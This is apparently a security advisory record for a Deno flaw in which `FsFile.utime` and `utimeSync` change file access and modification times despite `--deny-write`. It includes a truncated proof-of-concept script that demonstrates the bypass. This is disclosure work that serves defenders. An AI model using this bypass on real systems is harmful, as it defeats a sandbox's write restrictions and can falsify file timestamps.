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EUVD-2026-254459

2026-10-14T15:07:24.235277+00:00

EUVD-2026-254459

fkie_cve-2025-61785

2026-10-14T15:07:24.235310+00:00

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

GHSA-vg2r-rmgp-cgqj — Deno's --deny-write check does not prevent permission bypass

2026-10-14T15:07:24.235348+00:00

Affected: crates.io: deno

### Summary

`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.

It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).

Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.

### PoC

Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3

touch test.txt ```

```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false});

const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(`BEFORE (utime)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`A…